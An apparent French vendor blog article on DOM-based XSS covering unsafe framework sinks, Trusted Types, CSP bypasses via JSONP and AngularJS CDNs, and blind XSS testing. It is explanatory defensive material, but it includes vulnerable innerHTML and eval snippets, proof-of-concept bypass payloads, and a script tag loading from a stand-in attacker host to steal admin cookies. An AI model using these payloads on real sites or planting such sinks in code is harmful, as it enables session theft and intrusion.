TL;DR
Le paysage XSS a évolué. Le XSS réfléchi est largement détecté par les scanners. Le XSS DOM-based — alimenté par l'usage non sécurisé de innerHTML, document.write et du dangerouslySetInnerHTML de React — est la cible à haute valeur du moment. Les Trusted Types adressent ce problème au niveau du navigateur, mais leur adoption est lente et les techniques de contournement persistent.
Le XSS réfléchi classique — injecter un payload dans un paramètre d'URL qui est renvoyé dans la réponse serveur — est bien compris et détecté de façon fiable par les WAF, les encodeurs de sortie et les scanners automatisés. La surface d'attaque s'est considérablement réduite au cours de la dernière décennie.
Le XSS DOM-based est différent. Le serveur ne voit jamais le payload malveillant. Il circule directement depuis une source (fragment d'URL, localStorage, postMessage) vers un sink (une opération DOM qui provoque l'exécution de scripts) entièrement dans le moteur JavaScript du navigateur.
Les frameworks modernes — React, Vue, Angular, Next.js — ajoutent de la complexité. La plupart de leurs chemins de rendu sont sûrs par défaut : JSX échappe automatiquement le contenu, le moteur de template de Vue encode la sortie. Mais les développeurs contournent régulièrement ces protections.
Dans React :
// Sûr — JSX échappe ce contenu
<div>{userInput}</div>
// Non sécurisé — exécute du HTML arbitraire
<div dangerouslySetInnerHTML={{ __html: userInput }} />Dans Vue :
<!-- Sûr -->
<p>{{ userInput }}</p>
<!-- Non sécurisé — équivalent à innerHTML -->
<p v-html="userInput"></p>En JavaScript vanilla, les sinks classiques restent actifs dans les bases de code qui mélangent code framework et code non-framework :
// Écriture DOM directe — sans encodage
document.getElementById("output").innerHTML = location.hash.slice(1);
// Source URL alimentant un sink d'exécution de script
eval(new URLSearchParams(location.search).get("callback"));Les Trusted Types sont une directive de Content Security Policy du navigateur qui restreint les sinks DOM pouvant recevoir des valeurs de type chaîne. Avec les Trusted Types appliqués, des opérations comme innerHTML, document.write et eval ne peuvent accepter que des valeurs typées créées par une politique enregistrée — pas des chaînes brutes.
Content-Security-Policy: require-trusted-types-for 'script'; trusted-types defaultUne politique Trusted Types :
const policy = trustedTypes.createPolicy("default", {
createHTML: (input) => DOMPurify.sanitize(input),
});
// Désormais ce code compile mais assainit avant d'écrire
element.innerHTML = policy.createHTML(userInput);La limitation est la couverture. L'application des Trusted Types exige la mise à jour de chaque point d'injection dans votre base de code pour utiliser une politique typée. Pour les grandes bases de code legacy, cette migration est substantielle. De nombreuses équipes activent les Trusted Types en mode report-only pendant des mois sans atteindre le mode d'application effectif.
Le mode report-only ne bloque pas l'exploitation. Il signale uniquement les violations. Ne considérez pas un en-tête Content-Security-Policy-Report-Only avec Trusted Types comme une défense.
La Content Security Policy reste la couche de mitigation principale contre le XSS, et les techniques de contournement sont toujours très efficaces contre les politiques mal configurées.
Contournement via endpoint JSONP :
https://trusted-cdn.example.com/api/jsonp?callback=alert(1)//Tout domaine en liste blanche dans script-src qui héberge un endpoint JSONP peut être détourné pour injecter du JavaScript arbitraire.
Injection de template Angular via liste blanche CDN :
Lorsque script-src autorise un CDN hébergeant AngularJS, l'attribut ng-app peut être utilisé pour évaluer des expressions :
<div ng-app ng-csp>{{constructor.constructor('alert(1)')()}}</div>base-uri manquant :
Sans base-uri 'self', un attaquant capable d'injecter une balise <base> peut rediriger toutes les ressources URL relatives vers une origine qu'il contrôle.
Une CSP qui repose entièrement sur des domaines en liste blanche sans base default-src 'none' est significativement plus faible qu'elle n'y paraît. Les politiques les plus robustes utilisent des hachages ou des nonces pour les scripts inline et évitent entièrement les listes blanches de domaines.
Une détection XSS automatisée efficace en 2026 nécessite plus que de la simple injection de payloads. Le pipeline doit vérifier l'exécution, pas seulement la réflexion.
BreachVex exécute les tests XSS en trois phases :
postMessage.Cette approche en trois phases élimine les faux positifs produits par les outils qui signalent toute réflexion comme du XSS sans vérifier l'exécution dans un contexte de rendu réel.
Le XSS stocké qui se déclenche dans un panneau d'administration, un tableau de bord de support ou un visualiseur de logs est souvent plus précieux que le XSS réfléchi sur une page accessible aux utilisateurs — la victime est un utilisateur privilégié ayant accès à des données sensibles.
Les tests de XSS aveugle nécessitent un callback hors-bande : un payload qui, lorsqu'il s'exécute dans le contexte administrateur, envoie le cookie ou le contenu DOM de l'administrateur vers un endpoint contrôlé par l'attaquant.
<script src="https://oob.attacker.com/x.js"></script>La difficulté réside dans l'exécution différée — les payloads peuvent se déclencher des heures ou des jours après l'injection, lorsqu'un administrateur consulte les données affectées. Des tests de XSS aveugle efficaces exigent une infrastructure de callback en temps réel et une logique de polling pour corréler les déclenchements différés avec le point d'injection d'origine.
En savoir plus sur XSS